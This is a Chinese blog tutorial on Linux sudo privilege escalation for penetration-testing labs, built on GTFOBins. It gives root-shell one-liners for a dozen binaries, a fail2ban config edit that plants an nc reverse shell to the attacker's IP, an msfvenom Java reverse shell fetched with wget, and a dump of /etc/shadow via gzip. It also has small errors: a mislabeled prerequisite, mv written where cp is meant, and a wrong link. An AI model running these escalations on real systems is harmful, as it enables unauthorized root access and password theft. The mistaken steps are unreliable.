目录
写在开头
sudo expect
sudo fail2ban
sudo find
sudo flock
sudo ftp
sudo gcc
sudo gdb
sudo git
sudo gzip/gunzip
sudo iftop
sudo hping3
sudo java
总结与思考
写在开头
本文在上一篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:
渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客
本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:
「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili
文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。
sudo expect
漏洞利用前提
当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/expect
详情可见expect | GTFOBins
expect命令可以模拟用户的输入,将需要用户交互的操作自动化完成,可用于脚本和其他自动化环境之中。
操作方式
sudo expect -c 'spawn /bin/bash;interact'
其参数-c可之间添加脚本代码,而不是从文件中读取代码。spawn /bin/bash用于生成bash环境,用;interact指定是交互的shell,运行即可提权。从expect的利用也可以看出,很多可执行文件的sudo提权方式都是依靠其能够以高权限的身份指定配置文件或运行系统命令。
sudo fail2ban
漏洞利用前提
当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /etc/init.d/fail2ban
fail2ban是一个用于防御的工具,可以用于针对暴力破解密码的攻击。比如当ssh登录时多次密码错误,就会触发fail2ban的操作,短暂封禁登录的ip,短时期内无法再进行密码尝试。
操作方式
首先我们要知道fail2ban工具的目录在哪里,可以用find进行查找:
find -name "fail2ban*" -type d 2>/dev/null
结果显示有好几个目录,大概可以判断fail2ban的目录是/etc/fail2ban,我们查看其目录下的配置文件是否可写:
find /etc/fail2ban -writable -type d 2>/dev/null
结果显示为:/etc/fail2ban/action.d,也就是说配置文件action.d是可写的(该目录详细规定了当触发ban时执行的操作)。在linux的目录结构中,若以.d为名称结尾,通常说明该目录是一些脚本文件。我们进入/etc/fail2ban/action.d后,发现其中有配置文件iptables-multport.conf,该文件规定了当ssh登录在短时间内多次错误尝试触发ban行为后执行的操作,查看这个文件的属性(ls -liah iptables-multport.conf)如下:
345817 -rw-r--r-- 1 root root 1.5k May 22 15:24 iptables-multport.conf
可发现所属主和所属组都是root,文件的权限属性为644,而我们目前仅仅是一个普通的shell用户, 无法直接对该文件进行编辑修改。但是由于iptables-multport.conf所在目录/etc/fail2ban/action.d是可写的,我们可以在当前目录创建和删除文件,通过如下的操作实现对iptables-multport.conf的可写。首先通过mv将iptables-multport.conf文件重命名为iptables-multport.conf.bak:
mv iptables-multport.conf iptables-multport.conf.bak
执行此操作后,/etc/fail2ban/action.d目录下就没有iptables-multport.conf文件了,而有一个备份文件iptables-multport.conf.bak,这个iptables-multport.conf.bak文件与先前的iptables-multport.conf文件具有相同的文件属性(mv操作并不会创建新文件,仅仅是修改原文件的位置或名字,文件的权限并不会改变,所属主和所属组均为root),我们再把这个iptables-multport.conf.bak文件进行复制,并命名为iptables-multport.conf:
mv iptables-multport.conf.bak iptables-multport.conf
这样目录中就又有iptables-multport.conf了,此时由于cp操作的特性(以当前用户的权限创建新文件),我们查看iptables-multport.conf这个文件的属性(ls -liah iptables-multport.conf),可以发现所属主和所属组都变为了当前用户jackie:
345123 -rw-r--r-- 1 jackie jackie 1.5k May 22 15:54 iptables-multport.conf
此时我们就能够编辑iptables-multport.conf了,vim查看并编辑,在其中发现触发ban后执行的操作是actionban = 操作。我们讲这个操作修改为提权的逻辑,比如反弹shell,即修改后的iptables-multport.conf了文件中actionban所在行内容如下:
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f
修改完成后:wq报错推出,再次sudo重启fail2ban服务,保证我们修改的iptables-multport.conf生效:
sudo /etc/init.d/fail2ban restart
然后进行kali中nc监听刚刚反弹shell的端口1234:
nc -lvnp 1234
最后我们只要再次ssh尝试登录jackie这个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf,里面写了10s内尝试5次就会触发ban。但我们只要尽可能的快速多次输入错误密码即可),触发actionban操作,即可触发反弹shell。
利用fail2ban的操作看似复杂,其实核心就是我们修改了fail2ban触发ban后执行的逻辑(改为了反弹shell),然后故意错误密码短时间多次尝试触发ban,利用fail2ban的sudo权限,触发ban后执行了我们指定的反弹shell操作。利用的难点在于:
1.必须知道fail2ban是干啥的,其中的配置文件在哪里,触发ban后的action的操作命令在哪里。
2.Linux系统的权限逻辑:配置文件iptables-multport.conf本身是不可编辑的(权限为644,当前用户无法编辑),但iptables-multport.conf所在目录action.d是可写的,我们利用mv和cp命令的权限逻辑,最终使得当前用户jackie对iptables-multport.conf具有可写权限。
sudo find
漏洞利用前提
当前用户可以以sudo高级权限运行find指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/find
详情可见find | GTFOBins
操作方式
sudo find . -exec /bin/bash \; -quit
运行上述命令即可提权。用find命令随便在某个目录查找,比如当前目录.,然后添加参数-exec执行bash(/bin/bash不会对find找到的文件进行任何处理),其中的分号;表示-exec执行命令的结束位置,分号;前面的\是转义符,对分号;进行了转义,如果不加转义符/,则分号;会被解释为命令行的语句分割符,会使得-exec找不到命令执行的结束位置。
sudo flock
漏洞利用前提
当前用户可以以sudo高级权限运行flock指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/flock
flock本身是一个linux系统中管理文件锁定的实用程序,协调多个进程对文件系统的访问,避免多个进程同时访问一个资源导致问题。利用详情可见flock | GTFOBins
操作方式
sudo flock -u / /bin/bash
运行即可提权。-u参数表示解锁(unlock),此处为解锁根目录/的文件,并用/bin/bash来操作,该指令会启动/bin/bash会话,从而实现提权。
sudo ftp
漏洞利用前提
当前用户可以以sudo高级权限运行ftp指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ftp
利用详情可见flock | GTFOBins
操作方式
sudo ftp
!/bin/sh
运行即可提权,逻辑显然,利用ftp的交互命令行启动系统的bash。
sudo gcc
漏洞利用前提
当前用户可以以sudo高级权限运行gcc编译指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/gcc
利用详情可见gcc | GTFOBins
操作方式
sudo gcc -wrapper /bin/bash,-s .
运行即可提权。用-wrapper指定包装器,在包装器中添加启动shell的指令,,-s是bash的参数,指定从标准输入读取命令,保证读取到EOF时不会退出,点.表示编译的内容,此时我们并不关心编译啥,随便给个当前目录.即可。
sudo gdb
gdb | GTFOBins漏洞利用前提
当前用户可以以sudo高级权限运行gdb编译指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/gdb
gdb是GNU debugger的缩写,是源代码级别的调试器,主要用于C/C++的程序调试。利用详情可见gdb | GTFOBins
操作方式
sudo gdb -nx -ex '!bash' -ex quit
运行即可提权,其中-nx表示启动时不读取执行任何配置文件,-ex表示执行指令,感叹号!表示执行的是系统命令,执行完之后再执行退出(-ex quit)。
sudo git
漏洞利用前提
当前用户可以以sudo高级权限运行git指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/git
利用详情可见git | GTFOBins
操作方式
sudo git branch --help
!/bin/bash
通过查看帮助时调用了类似less的机制实现了提权,在查看帮助时可以输入感叹号!执行系统命令。该方法与在less中提权是很相似的。
sudo gzip/gunzip
漏洞利用前提
当前用户可以以sudo高级权限运行压缩/解压缩gzip/gunzip指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/gzip
(root) NOPASSWD: /usr/bin/gunzip
利用详情可见gzip | GTFOBins
操作方式
sudo gzip -f /etc/shadow -t
运行后会暴露/etc/shadow文件的内容,然后再用john破解即可,我的上一篇博客有类似的利用,比如sudo apache2,详见渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客
其中-t表示检查压缩文件,在进行检查的时候就会读取并显示对应文件,从而暴露了敏感文件/etc/shadow, -f表示force强制执行,保证程序可以正常执行。gunzip的利用方式完全一致。
sudo iftop
漏洞利用前提
当前用户可以以sudo高级权限运行iftop指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/iftop
iftop是一个命令行形式的网络流量监控工具,用于实时显示某个网络接口的带宽使用情况,可以显示实时视图。利用详情可见iftop | GTFOBins
操作方式
sudo iftop
!/bin/bash
通过输入!告诉工具要执行系统命令,然后启动bash提权。
sudo hping3
漏洞利用前提
当前用户可以以sudo高级权限运行网络工具hping3指令,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/hping3
hping3是一个非常强大的网络工具,主要用于分析测试网络环境,生成各种类型的数据包。利用详情可见hping3 | GTFOBins
操作方式
sudo hping3
/bin/bash
利用方式和sudo ftp类似,工具都有自带的命令行,在自带的命令行中运行系统命令,启动bash即可提权。
sudo java
漏洞利用前提
当前用户可以以sudo高级权限运行java,即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/java
遇到这种运行主流语言作为sudo的指令时,首先考虑采用该语言本身的反弹shell指令提权。
操作方式
思路就是,写一个java的反弹shell(shell.jar),然后再靶机中执行java -jar shell.jar即可,我们此处用kali自带的msfvenom生成java的反弹shell:
msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar
然后把这个文件传到靶机上,传统思路,当前目录开启http服务:
php -S 0:80
然后在靶机中把这个shell.jar给他wget下来:
wget http://kali的ip/shell.jar
然后靶机中运行即可(注意kali中先要开启nc -lvnp 1234):
java -jar shell.jar
总结与思考
本文介绍了12种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
可直接执行系统命令:sudo expect, sudo find, sudo gdb
利用工具运行时触发的脚本:sudo fail2ban
利用工具的某些可以启动shell的参数:sudo flock, sudo gcc
交互命令行可执行系统命令:sudo ftp, sudo itop, sudo hping3
敏感文件泄露:sudo gzip/gunzip
类似在less环境执行系统命令:sudo git
某种语言(编写反弹shell):sudo java
这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。